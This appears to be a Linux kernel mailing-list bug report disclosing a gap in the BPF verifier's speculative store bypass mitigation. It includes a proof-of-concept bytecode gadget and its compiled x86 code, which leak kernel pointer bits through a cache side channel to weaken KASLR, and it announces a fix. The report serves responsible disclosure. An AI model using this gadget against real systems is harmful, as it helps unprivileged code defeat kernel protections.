Date:   Mon, 9 Jan 2023 15:56:27 +0100
From:   Luis Gerhorst <gerhorst@...fau.de>
To:     Alexei Starovoitov <ast@...nel.org>,
        Daniel Borkmann <daniel@...earbox.net>,
        John Fastabend <john.fastabend@...il.com>,
        Andrii Nakryiko <andrii@...nel.org>,
        Martin KaFai Lau <martin.lau@...ux.dev>,
        Song Liu <song@...nel.org>, Yonghong Song <yhs@...com>,
        KP Singh <kpsingh@...nel.org>,
        Stanislav Fomichev <sdf@...gle.com>,
        Hao Luo <haoluo@...gle.com>, Jiri Olsa <jolsa@...nel.org>,
        Nathan Chancellor <nathan@...nel.org>,
        Nick Desaulniers <ndesaulniers@...gle.com>,
        Tom Rix <trix@...hat.com>,
        Benedict Schlueter <benedict.schlueter@....de>,
        Piotr Krysiuk <piotras@...il.com>, bpf@...r.kernel.org,
        linux-kernel@...r.kernel.org, llvm@...ts.linux.dev
Cc:     Heni Hofmeier <henriette.hofmeier@...r-uni-bochum.de>,
        Stefan Sächerl <stefan.saecherl@....startmail.com>
Subject: [BUG] bpf: pointer-leak due to insufficient speculative store bypass
 mitigation

I noticed that 2039f26f3aca ("bpf: Fix leakage due to insufficient
speculative store bypass mitigation") does not insert an lfence when a
spilled pointer on the stack is overwritten with a scalar. If the
overwrite is speculatively bypassed, doesn't this allow the pointer to
be speculatively used like a scalar? Importantly, this includes non
constant-time operations such as branches [1, 2]. This would allow
unprivileged BPF programs to leak the numerical pointer value using, for
example, a cache side channel.

To test this behavior, the following bytecode can be integrated into the
assembly generated for libbpf-bootstrap's sockfilter example [3] right
before the bpf_ringbuf_submit():

         .loc    0 62 13 is_stmt 0               # sockfilter.bpf.c:62:13
.Ltmp71:
         #
         # Gadget for Pointer-as-Scalar Spec. Type Confusion on Stack
         # using SSB
         #
         # Relevant program state:
         # r1: skb->ifindex (scalar)
         # r6: ctx_ptr skb
         # r7: ringbuf_elem_ptr e
         # r10: frame pointer (fp)
         # fp-64: not initialized (type STACK_INVALID)
         #
         # Create Spec. Type Confusion:
         #
         r2 = 0                          # scalar for type confusion
         if r1 == 0 goto SCALAR_UNKNOWN  # branch based on user input
         r2 = 1
         # needed to prevent dead-code-elim. for secret-based branch
         #
SCALAR_UNKNOWN:
         *(u64 *)(r10 - 64) = r6         # fp[-64] = ptr
         # lfence added here because of ptr-spill to stack.
         #
         r9 = r10
         # r9: fp alias to encourage ssb
         #
         # Imagine dummy bpf_ringbuf_output() here to train alias
         # predictor for no r9/r10 dependency.
         #
         *(u64 *)(r10 - 64) = r2         # fp[-64] = scalar
         # Arch. overwrite ptr with scalar, SSB may happen here.
         #
         # No lfence added here because stack slot was not STACK_INVALID.
         # Possible mitigation: Also add an lfence if the slot contained
         # a pointer.
         #
         r8 = *(u64 *)(r9 - 64)
         # r8: arch. scalar, spec. ptr
         #
         # Leak ptr using cache side channel, weaken KASLR:
         #
         r8 &= 1                         # choose bit to leak
         if r8 == 0 goto SLOW            # secret-based branch
         #
         # Arch. dead code if r1 is 0, only executes spec.
         # iff ptr bit is 1.
         r2 = *(u32 *)(r7 + 20)          # encode bit in cache
SLOW:
         #
         # Gadget End
         #
         [...]
         .loc    0 63 2 is_stmt 1                # sockfilter.bpf.c:63:2
.Ltmp72:

On x86, this compiles to the following machine code when loaded by an
unprivileged process into Linux v6.1 (commit 51094a24b85e, pulled
2022-12-23):

               152:    xor    %esi,%esi
               154:    test   %rdi,%rdi
               157:    je     0x000000000000015e
               159:    mov    $0x1,%esi
               15e:    mov    %rbx,-0x40(%rbp)
               162:    lfence
               165:    mov    %rbp,%r15
               // dummy bpf_ringbuf_output skipped
               168:    mov    %rsi,-0x40(%rbp) // ssb
               16c:    mov    -0x40(%r15),%r14 // spec. load of ptr
               170:    and    $0x1,%r14
               174:    test   %r14,%r14 // spec. ptr-based branch
               177:    je     0x000000000000017d
               179:    mov    0x14(%r13),%esi // leak
               17d:    [...]

Creating a similar type-confusion using branches failed in all instances
I have tested. However, from 9183671af6db ("bpf: Fix leakage under
speculation on mispredicted branches"), it is not clear to me whether
this is intended or only a by-product of the chosen mitigation.

One might also use the same behavior to speculatively use an invalid
offset in place of a valid offset. However, because of 979d63d50c0c
("bpf: prevent out of bounds speculation on pointer arithmetic") the
resulting scalar-confusion can not be used to access uninitialized memory.

I have drafted a patch to mitigate this by also inserting an lfence if a
pointer-slot is overwritten with a scalar. The patch also includes a
more generic example that is not specific to sockfilter.bpf.c. I assume
the performance impact will be low if pointer-spills are rare. I will
send the patch in reply to this mail.

Prior to submission, this report was kindly reviewed by Henriette
Hofmeier and by anonymous staff members of FAU's Department of Computer
Science 4.

Best regards,
Luis

[1] https://gleissen.github.io/papers/spectre-semantics.pdf
[2] https://arxiv.org/pdf/2005.00294.pdf
[3] 
https://github.com/libbpf/libbpf-bootstrap/blob/599e9ac6ad0947838e18ef606076fe66345f498f/examples/c/sockfilter.bpf.c#L63

Download attachment "smime.p7s" of type "application/pkcs7-signature" (5976 bytes)

Powered by blists - more mailing lists